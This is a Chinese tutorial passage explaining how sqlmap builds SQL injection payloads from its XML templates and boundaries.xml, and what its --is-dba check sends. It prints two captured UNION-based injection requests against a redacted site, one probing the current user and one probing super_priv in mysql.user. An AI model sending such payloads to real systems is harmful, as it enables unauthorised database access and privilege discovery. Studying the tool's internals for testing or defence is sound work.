对于每种类型的注入语句需要如何组合,在 sqlmap/data/xml/payloads 下有六个文件,里面主要是定义了测试的名称(也就是我们控制台中输出的内容)、风险等级、一些 payload 的位置等,了解一下就行了。
- <test>
- <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
- <stype>6</stype>
- <level>1</level>
- <risk>1</risk>
- <clause>1,2,3,4,5</clause>
- <where>1</where>
- <vector>[UNION]</vector>
- <request>
- <payload/>
- <comment>[GENERIC_SQL_COMMENT]</comment>
- <char>[CHAR]</char>
- <columns>[COLSTART]-[COLSTOP]</columns>
- </request>
- <response>
- <union/>
- </response>
- </test>
同目录下还有一个 boundaries.xml 文件,里面主要是定义了一些闭合的符号,比方说我们注入点需要闭合,添加单引号、双引号、括号等一系列的组合方式,就是从这个文件当中提取出来的。
- <boundary>
- <level>3</level>
- <clause>1</clause>
- <where>1,2</where>
- <ptype>3</ptype>
- <prefix>'))</prefix>
- <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
- </boundary>
所以梳理一下思路,我们最终会发送给目标服务器的 payload,首先是需要闭合的 (boundaries.xml),然后从对应的注入类型的各种测试模板中提取相应的参数(比如:boolean_blind.xml),然后在 queries.xml 中取出相应的表达式,最后通过 tamper 的渲染,输出我们最终的 payload,也就是我们的 -v3 参数。
sqlmap 的一些参数
我们主要分析以下两个命令:
- --is-dba
- --passwords
命令主要是判断 mysql 用户的一些信息,当我们发现注入可以利用的时候,下一步就是要看当前用户的权限看能有什么的操作了。
1. 判断是否是 dba 权限
sqlmap 一共发了两个请求包:
- GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1
- Host: www.xxxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
-
-
- GET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1
- Host: www.xxxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
(编辑:威海站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|